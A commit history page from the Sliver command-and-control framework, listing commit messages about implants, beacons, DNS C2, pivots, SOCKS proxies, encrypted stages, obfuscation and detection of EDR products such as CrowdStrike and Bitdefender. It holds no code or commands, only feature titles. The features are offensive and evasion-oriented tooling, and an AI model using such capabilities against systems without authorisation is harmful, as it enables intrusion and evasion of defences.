Compare commits

..
Author SHA1 Message Date
rkervella 3c864311fa Add missing file 2022-03-09 12:00:16 -08:00
rkervella 6db7c42d47 Refactor client cryptography code. 2022-03-09 11:59:43 -08:00
Ronan Kervella 004047308f Merge pull request #623 from BishopFox/fix/beacon-service
Service beacons
2022-03-09 11:24:51 -08:00
rkervella ca0fd1e7be Refactor to allow beacon services on Windows.
Fixes #622.
2022-03-08 12:48:23 -08:00
Ronan Kervella 204f013c5d Merge pull request #620 from BishopFox/feature/beacon-operator
Add beacon support to `prelude-operator connect`
2022-03-07 09:53:48 -08:00
moloch-- ac33916348 Update gems 2022-03-06 07:30:26 -06:00
rkervella 75b96fbc29 Remove powershell support from Linux and Darwin executors 2022-03-04 15:44:19 -08:00
rkervella 07bfb1735e Fix null pointer deref in error case 2022-03-04 15:43:14 -08:00
Joe ea20b344ce Merge pull request #619 from BishopFox/go/v1.17.8
Go v1.17.8
2022-03-04 17:31:04 -06:00
rkervella 98c1ac9547 Merge branch 'master' into feature/beacon-operator 2022-03-04 15:23:51 -08:00
rkervella 439c88ce78 Add missing file 2022-03-04 15:20:00 -08:00
rkervella 461aa255ca Add beacon support for Operator 2022-03-04 15:19:50 -08:00
moloch-- 076e34dd02 Go v1.17.8 2022-03-04 12:04:56 -06:00
Ronan Kervella ae517d1d34 Merge pull request #618 from BishopFox/fix/dll-race
Add "run-at-load" flag for shared libraries
2022-03-03 15:38:24 -08:00
rkervella d34541a3d4 Add "run-at-load" flag for shared libraries 2022-03-03 13:37:22 -08:00
Joe db7adc172d Merge pull request #617 from ExAndroidDev/stage-encryption
Added option to encrypt the stage via AES encryption
2022-03-02 07:18:19 -06:00
ExAndroidDev 2f520931f8 Added option to encrypt the stage via AES encryption 2022-02-28 17:15:27 +01:00
Joe 707ce345c7 Merge pull request #616 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.3
Bump nokogiri from 1.12.5 to 1.13.3 in /docs
2022-02-26 07:48:16 -06:00
dependabot[bot] fcae20f92a Bump nokogiri from 1.12.5 to 1.13.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-02-26 12:06:00 +00:00
moloch-- d09c1fd086 align prelude bof compatibility 2022-02-24 11:57:11 -06:00
moloch-- 98f510abf4 Allow more env overloads in makefile 2022-02-23 19:28:38 -06:00
Joe f2aa7b45c8 Merge pull request #614 from BishopFox/fix/exts
Various small fixes to extensions
2022-02-23 17:57:49 -06:00
moloch-- 01a0bfc9cf various small fixes to extensions 2022-02-23 17:18:55 -06:00
Ronan Kervella 0cef6749b5 Merge pull request #613 from BishopFox/fix/screenshot
Fix for screenshot command
2022-02-23 14:31:23 -08:00
rkervella 2b286ae3cf Deserialize to the proper message, and don't reuse message in response. Fixes Screenshot not working. #610 2022-02-23 13:53:19 -08:00
Ronan Kervella ee7d36dfed Merge pull request #611 from BishopFox/feature/beacon-audit-log
Add beacon registration to audit log
2022-02-22 18:12:46 -08:00
rkervella 7d793841f9 Add beacon registration to audit log 2022-02-22 15:52:32 -08:00
Joe fc61b82de2 Merge pull request #603 from BishopFox/fix/obfuscation
Fix regexp to include enums
2022-02-19 11:17:08 -06:00
rkervella 46d81fefa1 Fix regexp to include enums 2022-02-17 14:30:56 -08:00
moloch-- 4a8397374e regenerate pb 2022-02-17 15:53:38 -06:00
moloch-- 359224a43e Added JS_TYPE to pivot protos 2022-02-17 15:51:47 -06:00
moloch-- 8a2d087039 Reduce http idle conn timeout 2022-02-17 15:51:47 -06:00
Joe aa50e9c874 Update README.md 2022-02-13 11:59:23 -06:00
Joe 646ef4273a Merge pull request #599 from BishopFox/fix/kill
Fix/kill
2022-02-12 18:59:52 -06:00
moloch-- 34738d2337 check rpc err on terminate cmd 2022-02-12 18:25:56 -06:00
moloch-- de31135fa5 fix related to session state mgmt and kill 2022-02-12 16:14:09 -06:00
Joe 8bc39cc231 Merge pull request #598 from BishopFox/fix/pivots
Fix/pivots
2022-02-12 14:54:44 -06:00
moloch-- f71a066ffc fix pivot/server ping interval, and calculation of pivot health 2022-02-12 13:45:00 -06:00
moloch-- 4b2b80b2f8 fix pivot session cleanup 2022-02-12 12:45:07 -06:00
moloch-- 41669ed41f fix pivotsession cleanup 2022-02-12 12:43:35 -06:00
moloch-- cdfee6510e fix issue #590, and improper named pivot peer ping cleanup 2022-02-12 12:41:39 -06:00
Joe 3826ca851e Merge pull request #596 from BishopFox/fix/reconfig
Fix Reconfig/Rename
2022-02-12 09:42:02 -06:00
moloch-- d2d7637b7d Updated reconfig cmd to support beacons, seperated rename cmd 2022-02-12 09:14:06 -06:00
moloch-- e907878674 Added link to wiki in help 2022-02-11 18:33:22 -06:00
Joe 21b7842bbf Merge pull request #595 from BishopFox/go/v1.17.7
Go v1.17.7
2022-02-11 17:04:48 -06:00
moloch-- b1ad4ada9e Go v1.17.7 2022-02-11 14:27:31 -06:00
Joe cf0b9766f7 Merge pull request #594 from kyleavery/prelude-changes
Prelude Operator: Small fixes and a new feature
2022-02-09 07:44:19 -06:00
Kyle Avery c4b096f867 fix coff-loader path 2022-02-09 04:40:23 -06:00
Kyle Avery 295c7cb5a0 Bringing back in executor changes 2022-02-09 04:33:18 -06:00
Kyle Avery 6d8d80970e trying out execute-assembly 2022-02-09 04:22:19 -06:00
Kyle Avery 925e5dfee7 testing 2022-02-08 18:56:21 -06:00
Kyle Avery 1885dc5ee3 added pwsh 2022-02-08 18:16:38 -06:00
Kyle Avery 1f694bda41 changes from v1.5.0_prelude_bugfix 2022-02-08 18:01:36 -06:00
Joe 53a35e4727 Update README.md 2022-02-08 17:59:10 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
Chris Smith ec1339e766 Updated format string 2022-01-25 13:46:57 +00:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
Chris Smith b452d42314 Fix format string for session kills 2022-01-25 01:55:35 +00:00
moloch-- 8e9f6a874c Removed some problematic words from rng dictionaries 2022-01-24 17:21:30 -06:00
moloch-- d0f51d7792 Fix for issue #576 2022-01-24 10:25:33 -06:00
moloch-- ce1d2a2c55 Fix fmt type in kill session 2022-01-24 09:17:59 -06:00
moloch-- 6965958097 fix for issue #575 2022-01-24 08:44:19 -06:00
moloch-- eb8d1bdf11 Add new flags to linux static build 2022-01-23 17:35:55 -06:00
moloch-- 6e5797670d update github pages 2022-01-23 17:23:37 -06:00
Joe c1eeb532e3 Merge pull request #574 from BishopFox/feature/async-alias
Added support for aliases in beacon mode
2022-01-23 15:02:35 -06:00
Joe c7c8027091 Merge pull request #573 from BishopFox/feature/async-ext
Feature/async ext
2022-01-23 14:33:16 -06:00
moloch-- ce27108c1a Added support for aliases in beacon mode 2022-01-23 14:33:02 -06:00
moloch-- 235fb87842 Skip list ext check in beacon mode 2022-01-23 14:02:50 -06:00
moloch-- a0d71f4fe8 fix output 2022-01-23 13:18:02 -06:00
moloch-- 0502f82967 cleanup 2022-01-23 13:07:32 -06:00
moloch-- 2553772ec0 exts execute in beacon mode but no output 2022-01-23 11:58:58 -06:00
moloch-- 406a10d639 initial refactor to support async ext 2022-01-23 10:01:47 -06:00
moloch-- 92b2d2464c initial refactor to support async ext 2022-01-23 10:01:44 -06:00
moloch-- ead0a5ea1e Use golang.org/x/term 2022-01-22 11:44:39 -06:00
moloch-- d0ec264454 hide armory urls on small terminals 2022-01-22 10:23:14 -06:00
moloch-- 9c7e47c95e added armory github.com parser 2022-01-22 08:57:20 -06:00
Joe 4c5a099d5c Merge pull request #569 from BishopFox/fix/alias
Fix/alias
2022-01-22 08:02:49 -06:00
moloch-- 4ed42e4a3d fix alias tar.gz artifact paths 2022-01-22 07:35:47 -06:00
moloch-- ffee881de0 fix alias loading 2022-01-21 21:41:43 -06:00
moloch-- 339bf15387 fix alias loading 2022-01-21 21:20:00 -06:00
moloch-- 92c9a50ba7 style cleanup 2022-01-21 20:58:51 -06:00
Joe 99e6765896 Merge pull request #568 from BishopFox/fix/namedpipes
fix named pipe pivots
2022-01-21 20:02:30 -06:00
moloch-- b5d1e9a3d1 fix named pipe pivots 2022-01-21 19:36:03 -06:00
Joe d1dbd3dcb7 Merge pull request #566 from bluec0re/patch-1
Fix broken implants rm command
2022-01-21 09:14:01 -06:00
BlueC0re 8b81de5129 Fix broken implants rm command
ImplantConfig.Name is empty and the config name is instead stored in the map key.
2022-01-21 15:30:05 +01:00
moloch-- bcc7fb0fcb Fix several bugs related to alias interface 2022-01-20 19:43:00 -06:00
moloch-- 795001f690 Remove debug 2022-01-20 18:15:57 -06:00
moloch-- b0c4f89bcf Improved armory error msgs 2022-01-20 18:13:33 -06:00
moloch-- fb72322065 Added stylized sec product names 2022-01-20 14:02:55 -06:00
moloch-- a1e51d64d4 fix variable name 2022-01-20 08:52:03 -06:00
moloch-- d15c257176 Updated readme 2022-01-20 08:27:00 -06:00
moloch-- 97d3da75b6 Merge master 2022-01-20 08:22:39 -06:00
moloch-- 4e3efeb623 Removed # 2022-01-19 20:39:47 -06:00
moloch-- 81c7dd69da Fix miscalculation in randomization of long poll timeout 2022-01-19 20:19:43 -06:00
moloch-- 6c3b754943 ux improvements 2022-01-19 19:04:49 -06:00
moloch-- fbea84eeb6 fix several format strings 2022-01-19 18:36:17 -06:00
moloch-- 0c83bdc6d1 converted session id to uuid 2022-01-19 18:28:41 -06:00
moloch-- 476eafccf5 Implemented close session cmd 2022-01-19 11:42:15 -06:00
moloch-- 1501633565 Interactive pulls active c2 2022-01-19 09:20:16 -06:00
moloch-- addd22d2f7 Fix implant init 2022-01-19 08:21:54 -06:00
moloch-- f196278c3e Fix implant init 2022-01-19 08:21:07 -06:00
moloch-- 3aa33d3679 Merge pr #552 2022-01-19 08:10:27 -06:00
moloch-- ab197461ae Merge branch 'stage' into usiegl00-stage3 2022-01-19 07:53:12 -06:00
moloch-- 6488df4374 added force-http option 2022-01-19 07:48:54 -06:00
usiegl00 15c5eb29e5 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2022-01-19 14:40:36 +09:00
moloch-- 91e4f5a33b Fix init 2022-01-18 22:35:06 -06:00
moloch-- 62a6ffd1ac Fix pivot reconnection/restart listener 2022-01-18 21:28:23 -06:00
moloch-- a69512ba65 Implemented detection of downstream pivot disconnects/errors 2022-01-18 15:27:08 -06:00
moloch-- 3a1cd3a477 Merge branch 'stage' into v1.5.0_pivots 2022-01-18 09:09:51 -06:00
moloch-- da0499f9da Converted core jobs to sync.map 2022-01-18 08:38:33 -06:00
moloch-- 3169b436a8 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:25:37 -06:00
moloch-- 26faea2ae0 wip: close upstream disconnected pivot sessions 2022-01-18 08:25:37 -06:00
moloch-- 11eb5f5f27 pivot graph working 2022-01-18 08:25:36 -06:00
moloch-- 49d742cfad Implemented pivot graphs 2022-01-18 08:25:36 -06:00
moloch-- 028521ddc0 tweak pivots ui 2022-01-18 08:25:36 -06:00
moloch-- 66dad91d86 basic n-depth pivots working 2022-01-18 08:25:36 -06:00
moloch-- b9f8e045d9 Fix pivot session id parsing 2022-01-18 08:25:36 -06:00
moloch-- 8ffad32591 Reworked and simplified design, new key exchange 2022-01-18 08:25:36 -06:00
moloch-- d60dcabd86 check golang version 2022-01-18 08:25:36 -06:00
moloch-- 68cece2b96 wip on minor updates 2022-01-18 08:25:36 -06:00
moloch-- 5d3ef197e3 simplified nested envelopes 2022-01-18 08:25:36 -06:00
moloch-- 62c8d678e2 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 68fd6b27f9 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 21d2a10b7a Removed some unprofessional words from our english dictionary 2022-01-18 08:25:36 -06:00
moloch-- efd4115a1c Minor fixes 2022-01-18 08:25:36 -06:00
moloch-- eed3f51be2 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:24:34 -06:00
moloch-- 54b09d9a26 wip: close upstream disconnected pivot sessions 2022-01-17 22:32:36 -06:00
moloch-- 1bc1bc11c0 pivot graph working 2022-01-17 17:55:50 -06:00
moloch-- 14aebe943c Implemented pivot graphs 2022-01-16 10:58:12 -06:00
moloch-- 0f20dddc95 tweak pivots ui 2022-01-15 16:36:16 -06:00
moloch-- 75e0b9d931 basic n-depth pivots working 2022-01-15 09:44:58 -06:00
moloch-- 7af5280cd6 Fix pivot session id parsing 2022-01-15 08:50:33 -06:00
moloch-- 1d86383e0d Reworked and simplified design, new key exchange 2022-01-15 08:36:39 -06:00
rkervella 3be52dde2f Add back exports 2022-01-12 09:12:44 -08:00
rkervella 8b18bf571a Install dependencies for bundles too 2022-01-11 14:25:44 -08:00
moloch-- 6dacb8ad9f Merge branch 'stage' into v1.5.0_pivots 2022-01-10 11:20:02 -06:00
moloch-- 1db8e5a22e check golang version 2022-01-10 11:19:56 -06:00
moloch-- 45f323eae9 wip on minor updates 2022-01-08 09:48:53 -06:00
moloch-- 22e615b1b4 Merge branch 'stage' into v1.5.0_pivots 2022-01-06 09:22:06 -06:00
moloch-- afa534ea39 simplified nested envelopes 2022-01-06 09:16:20 -06:00
Joe 10429b7314 Merge pull request #560 from hypnoticpattern/dev-hp
Fixed bug in ls command and added timestamp to SessionClosed
2022-01-05 22:24:35 -06:00
hypnoticpattern dfb6d2e1bb Fixed bug with 'ls' command 2022-01-05 16:54:19 -08:00
hypnoticpattern de3f2c827d Added timestamp to the SessionClosed event 2022-01-05 14:11:28 -08:00
Joe 4569621a8a Merge pull request #559 from hypnoticpattern/dev-hp
Added Crowdstrike Falcon EDR to known processes
2022-01-05 12:25:51 -06:00
hypnoticpattern f21242ca2c Added Crowdstrike Falcon EDR 2022-01-05 08:17:23 -08:00
moloch-- c13a71c92f Refactor/simplified design 2022-01-04 10:51:59 -06:00
moloch-- 9b85a63f69 Refactor/simplified design 2022-01-04 09:53:12 -06:00
moloch-- fdab12c9a5 Removed some unprofessional words from our english dictionary 2022-01-03 11:53:49 -06:00
moloch-- 26abb42859 Minor fixes 2022-01-03 08:54:32 -06:00
moloch-- bf892e9c4b Fix ext id when loading into implant 2022-01-01 09:29:33 -06:00
moloch-- cb7f2b1aea Added download msg 2021-12-31 10:50:40 -06:00
moloch-- 44f16bb6a3 Improved ux 2021-12-31 10:21:41 -06:00
moloch-- 51af17906c Remove coff loader from go assets script 2021-12-31 10:17:47 -06:00
moloch-- 4ba374cee6 Fix extraction path in install from file 2021-12-31 10:12:04 -06:00
moloch-- 55c1145b2d Fix plaintext len calculation 2021-12-30 19:28:27 -06:00
rkervella 336fc4ffea Avoid attempting to load empty library 2021-12-30 13:52:22 -08:00
rkervella 581395e9a4 Fix extension filepath 2021-12-30 13:51:57 -08:00
moloch-- 16ce440014 Fix help cmd 2021-12-30 14:33:23 -06:00
moloch-- 2bf87bff98 Merge branch 'alias-ext' into stage 2021-12-30 11:49:41 -06:00
rkervella 63c316e4d7 Set full file path 2021-12-30 09:48:39 -08:00
moloch-- 65788c1003 Fix armory update cmd exists 2021-12-30 11:44:54 -06:00
moloch-- cf8e6ace2e Basic implementation of bundles 2021-12-30 10:47:10 -06:00
moloch-- 131061a015 Implemented update cmd 2021-12-30 10:09:02 -06:00
moloch-- ed18705ccf Use fork of grumble so we can remove cmds 2021-12-30 09:51:46 -06:00
moloch-- 88be0e0846 Added search cmd 2021-12-29 17:46:42 -06:00
moloch-- edd330a4e1 Make coff-loader removable 2021-12-29 17:11:38 -06:00
moloch-- 26c4d04d8d Use cmd name as key to pkgCache 2021-12-29 17:09:37 -06:00
moloch-- 283f605351 Fix variable shadowing, improved ux 2021-12-29 08:39:45 -06:00
moloch-- fd82c4b171 Added an update cmd 2021-12-28 16:24:40 -06:00
rkervella 3d0d61685c Avoid adding empty dependency 2021-12-28 09:04:08 -08:00
moloch-- 177358040f Skip installation of dep if it already exists 2021-12-28 08:44:28 -06:00
moloch-- e4db7d3323 Added a max depth 2021-12-28 08:39:18 -06:00
moloch-- 7b42983e4f Avoid n-depth circular deps 2021-12-28 08:37:24 -06:00
moloch-- 441f97ad6f Added install alias and ext dep resolution 2021-12-28 08:28:12 -06:00
moloch-- efea316519 wip: dep resolver 2021-12-27 22:27:05 -06:00
moloch-- f391f72b04 update extensions readme 2021-12-27 21:26:06 -06:00
moloch-- 2ebaf3115c update extensions readme 2021-12-27 21:25:44 -06:00
moloch-- 630adc0e48 update extensions readme 2021-12-27 21:24:39 -06:00
moloch-- 981aa8b80f add alias rm 2021-12-27 20:33:19 -06:00
moloch-- 024f70edc5 Prevent removal of coff-loader ext 2021-12-27 19:38:32 -06:00
moloch-- bf9b3f4aa6 Eager load installed cmds 2021-12-27 19:26:14 -06:00
moloch-- 5fc94d24bd Added an extensions rm cmd 2021-12-27 18:13:01 -06:00
moloch-- 5394f77f4a Implemented table 2021-12-27 17:29:06 -06:00
moloch-- b41ac3a229 Basic pkg info working 2021-12-27 17:09:13 -06:00
moloch-- 5c3fd8cb2b wip: armory cmd 2021-12-27 09:59:56 -06:00
moloch-- adbe7c7def Consisten ux 2021-12-26 21:43:34 -06:00
moloch-- bfcbb0bba6 Small fixes 2021-12-26 18:18:56 -06:00
moloch-- 4495c36853 added unit tests for alias parser 2021-12-26 17:27:12 -06:00
moloch-- f8d2f30344 added unit tests for ext manifest parsing 2021-12-26 16:08:00 -06:00
moloch-- 55752d1109 added os specific path handling to util 2021-12-26 12:15:29 -06:00
moloch-- 48f7560655 Implemented alias install cmd 2021-12-26 10:05:03 -06:00
moloch-- 92e0f87d44 Implemented ext install cmd 2021-12-24 19:36:21 -06:00
moloch-- 13498da60c Implemented more ux features for extensions 2021-12-24 14:25:30 -06:00
moloch-- 9c878527a5 Small refactor of exts layout 2021-12-24 12:47:56 -06:00
moloch-- f81419614d Added local file completer, and more generic client asset unpacker 2021-12-24 11:46:21 -06:00
moloch-- 368442e094 Small refactor of macro->alias and exts 2021-12-24 10:09:49 -06:00
moloch-- 670c4b7f9a Improved ux 2021-12-24 09:19:37 -06:00
moloch-- 77693c6be1 socks and wg-socks use same subcommands 2021-12-23 20:51:58 -06:00
moloch-- 35bd3fd44a Converted website tables 2021-12-23 20:45:20 -06:00
moloch-- a916f8b38b Converted wg tables 2021-12-23 20:39:52 -06:00
moloch-- fa2645e186 Converted jobs tables 2021-12-23 20:27:23 -06:00
moloch-- 597950fa0a Converted more tables 2021-12-23 20:18:37 -06:00
moloch-- 2acced66f1 Minor cleanup 2021-12-23 17:43:16 -06:00
rkervella 39a6e13ae4 Remove last CGO artifacts for shellcode generation 2021-12-23 10:38:19 -08:00
moloch-- 3b7db1dea0 Fix cross-compiling cgo in makefile 2021-12-22 14:06:53 -06:00
moloch-- 46d32e6130 Changed default db back to cgo 2021-12-22 13:55:12 -06:00
moloch-- 815bf3c479 Fix off by one in SplitBuffer 2021-12-22 10:27:10 -06:00
moloch-- a4e28f37de Fix race in size check of large dns msgs 2021-12-22 09:49:17 -06:00
moloch-- ddc94ba556 Potential fix for dns extra bytes race 2021-12-22 08:50:45 -06:00
moloch-- bf484828cd Wired up active-c2 and proxy url 2021-12-22 08:21:13 -06:00
moloch-- 8deb2c7bca Attempting to fix intermitten bug in dns boundry calculations 2021-12-21 22:04:34 -06:00
moloch-- f9c58caa78 parse all c2 args as urls 2021-12-21 20:56:50 -06:00
moloch-- ba6eda99c8 Small fix to dns client 2021-12-21 18:13:58 -06:00
moloch-- 09b441f132 updated readme 2021-12-21 17:23:04 -06:00
moloch-- 08bcff0517 gosqlite seems to work now 2021-12-21 17:20:37 -06:00
moloch-- a2d63eb4e9 gosqlite seems to work now 2021-12-21 17:11:44 -06:00
moloch-- cde5b8c2db Actually use pure go sqlite 2021-12-21 16:25:57 -06:00
moloch-- bfed9c9343 Merge branch 'v1.5.0_pivots' into stage 2021-12-21 14:51:53 -06:00
moloch-- 8adab5786b unit tests pass 2021-12-21 12:03:03 -06:00
moloch-- d2a7feba5e Remove sql.go import 2021-12-21 12:03:03 -06:00
rkervella b4d939bcb9 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-12-20 15:34:11 -08:00
rkervella 4d068268e2 Set default implant sleep to non-zero value 2021-12-20 15:34:06 -08:00
rkervella dd52cefc22 Move sleep time to constant 2021-12-20 15:32:43 -08:00
rkervella 3c9b8bb2cc Merge branch 'v1.5.0_pivots' of bishopfox.github.com:BishopFox/sliver into v1.5.0_pivots 2021-12-20 15:26:37 -08:00
rkervella 8af24c9c3e Fix prelude stuff 2021-12-20 15:26:28 -08:00
usiegl00 2e1aa54130 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2021-12-20 07:38:46 +09:00
moloch-- 5083ca3397 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:59:51 -06:00
moloch-- 57b3ee28a7 Merged gosqlite, added built tags for gosqlite/csqlite 2021-12-19 08:50:50 -06:00
moloch-- 2468abed25 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:40:33 -06:00
moloch-- a3cb2bca44 comments 2021-12-19 08:40:19 -06:00
moloch-- 122e5bf3b0 Unit tests pass 2021-12-18 20:55:02 -06:00
moloch-- 09a0cc5a67 Merge branch 'v1.5.0_pivots' into go-sqlite 2021-12-18 18:02:19 -06:00
moloch-- c8a9094a90 commands, tunnels, etc. working 2021-12-18 12:16:23 -06:00
moloch-- 4247a0ddf8 wip: Pivots connect to the server and can exchange messages 2021-12-18 11:37:41 -06:00
moloch-- c8834f63ef Pivot/peer->server key exchange working 2021-12-17 17:35:36 -06:00
usiegl00 97715302a3 Add registry delete command 2021-12-17 20:43:31 +09:00
moloch-- 1fd74f69ea Go v1.17.5 2021-12-11 11:57:10 -08:00
moloch-- 4dfa46c7ae Merge branch 'stage' into v1.5.0_pivots 2021-12-07 14:41:09 -08:00
moloch-- 6f8c726863 tweak max literal sizes 2021-12-07 12:42:06 -08:00
moloch-- 763c46bd37 wip 2021-12-03 21:44:57 -06:00
moloch-- a37749bf50 Fix byte type 2021-12-02 21:32:40 -06:00
rkervella 0c7c7b54d3 Fix #544 2021-11-30 10:18:09 +01:00
rkervella 832ac585f7 Merge branch 'cert-issue' into stage 2021-11-30 10:09:59 +01:00
Joe 14492dfbcb Merge pull request #550 from usiegl00/stage
Expand tilde in generate file path
2021-11-29 20:10:24 -06:00
usiegl00 1e283e54a9 Expand tilde in generate file path 2021-11-30 09:59:05 +09:00
Ronan Kervella f679e99403 Merge pull request #549 from usiegl00/stage
Add CmdLine to Windows process list.
2021-11-29 12:09:11 +01:00
usiegl00 aab7143708 Add CmdLine to Windows process list 2021-11-29 19:19:14 +09:00
Joe 886ab348f4 Merge pull request #548 from cmprmsd/patch-1
Add Bitdefender Process Names
2021-11-28 15:07:49 -06:00
cmprmsd 8211f8f0e4 Add Bitdefender Process Names
Feel free to remove the source that I added to find out about "Bitdefender redline update"
2021-11-28 11:46:47 +01:00
moloch-- 05cc038f2f remove cc logic from makefile 2021-11-26 09:55:49 -06:00
moloch-- 1117f9b9c9 remove cc logic from makefile 2021-11-26 09:55:25 -06:00
moloch-- 8670f50150 pure go sqlite working 2021-11-26 09:50:40 -06:00
moloch-- 3613a2ffe3 wip on server-side key exchange 2021-11-26 09:38:51 -06:00
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
moloch-- de27a5e132 Fix peer envelope handler scheme 2021-11-23 08:29:30 -06:00
moloch-- 2051abd663 pivots wip, fixed socks ui bugs 2021-11-22 19:37:18 -06:00
rkervella b87a7034a9 Only log in when in debug mode 2021-11-22 09:55:56 +01:00
moloch-- 8914559aec Pivot con wip 2021-11-21 22:42:05 -06:00
moloch-- 7f84913ab2 Added failure detection 2021-11-21 18:17:03 -06:00
moloch-- 84494c1ad4 tweaked peer design 2021-11-21 17:25:04 -06:00
moloch-- 33a9fd6eae Peer key exchange working 2021-11-21 16:26:59 -06:00
moloch-- 33e72b9601 Outlined updated pivots 2021-11-21 12:00:12 -06:00
moloch-- 45be3dff80 gopsutil v3 2021-11-21 08:18:51 -06:00
moloch-- 325fd47401 Insert minisign sigs, enable variable literal obf 2021-11-21 08:16:39 -06:00
moloch-- 526c3c104a Fix unit tests, added util.gzip funcs 2021-11-20 20:42:13 -06:00
moloch-- c4542d8def Added more unit tests for minisign 2021-11-20 20:22:35 -06:00
moloch-- ade83e551f Added minisign keys to db key/value 2021-11-20 19:30:30 -06:00
moloch-- a7da3027ac Moved secrets to db 2021-11-20 18:42:57 -06:00
moloch-- edc6d21c23 Fixed dns beacon reconnect problems 2021-11-20 16:23:44 -06:00
moloch-- 31ca964e6c Fixes to beacon key life cycle 2021-11-20 15:36:31 -06:00
moloch-- 735ae74f1d Fix state revert bug 2021-11-20 14:54:12 -06:00
moloch-- 49679538eb Made beacon registration eventable 2021-11-20 14:27:31 -06:00
moloch-- 000ca54a15 nil resp check 2021-11-20 11:29:16 -06:00
moloch-- eb615f3add Fixed poll truncation/race issue #540 2021-11-20 11:23:37 -06:00
moloch-- acb0f857b3 Force generation of secure password 2021-11-20 09:54:23 -06:00
moloch-- 610d8b18c9 Force generation of secure password 2021-11-20 09:51:12 -06:00
moloch-- edf126c149 Warn user about socks proxy creds 2021-11-20 09:48:33 -06:00
moloch-- 1794d0cebd Renable socks user/pw 2021-11-20 09:45:07 -06:00
moloch-- e66d563f65 Fix nil RemoteAddr deref 2021-11-20 09:38:51 -06:00
moloch-- 8dd2b5d7ce Update socks api usage 2021-11-20 09:00:41 -06:00
moloch-- 10246681ba Switched deps to fork of memmod and go-socks5 2021-11-20 08:47:24 -06:00
moloch-- ed19017941 Update table 2021-11-20 08:37:46 -06:00
moloch-- c0116cc9d5 Tweaks to socks ux 2021-11-20 08:22:20 -06:00
moloch-- a890812a0a Fix logging levels 2021-11-19 20:43:30 -06:00
moloch-- b1922bce73 Fix log import 2021-11-19 20:15:39 -06:00
moloch-- 47aaeb0225 Merge socks 2021-11-19 19:44:56 -06:00
moloch-- 61c844db44 Rebase 2021-11-19 19:41:23 -06:00
moloch-- 35bbc61a9a Stage socks branch 2021-11-19 19:39:57 -06:00
moloch-- 6453f477f4 Fix fmt import 2021-11-19 19:39:57 -06:00
moloch-- b0709a364a Tweaked dns c2 2021-11-19 19:39:55 -06:00
moloch-- 2e65e1842f Moving to per-c2 opts 2021-11-19 19:39:45 -06:00
moloch-- c068664854 Wire dns c2 to beacon interface 2021-11-19 19:39:45 -06:00
moloch-- e9debcc2a4 Increase default workers 2021-11-19 19:39:45 -06:00
moloch-- 7ae2d0a481 DNS C2 mvp 2021-11-19 19:39:44 -06:00
moloch-- b62e3354e0 Wired send loop 2021-11-19 19:39:44 -06:00
moloch-- e55afa7efe Outlined the rest of server-side dns c2 2021-11-19 19:39:44 -06:00
moloch-- 65dc11a40e Wired dns recv to core 2021-11-19 19:39:44 -06:00
moloch-- 2620673f50 More/larger tests 2021-11-19 19:39:44 -06:00
moloch-- e22d3ac58e Re-assemble unit tests 2021-11-19 19:39:44 -06:00
moloch-- 604c3480cf Updated garble 2021-11-19 19:39:44 -06:00
rkervella ca8544a169 No need for CGO for shellcodes anymore 2021-11-19 19:39:44 -06:00
rkervella e1713bd418 Add missing Request field 2021-11-19 19:39:44 -06:00
rkervella 0649a2680b Switch upstream memmod to up to date version 2021-11-19 19:39:44 -06:00
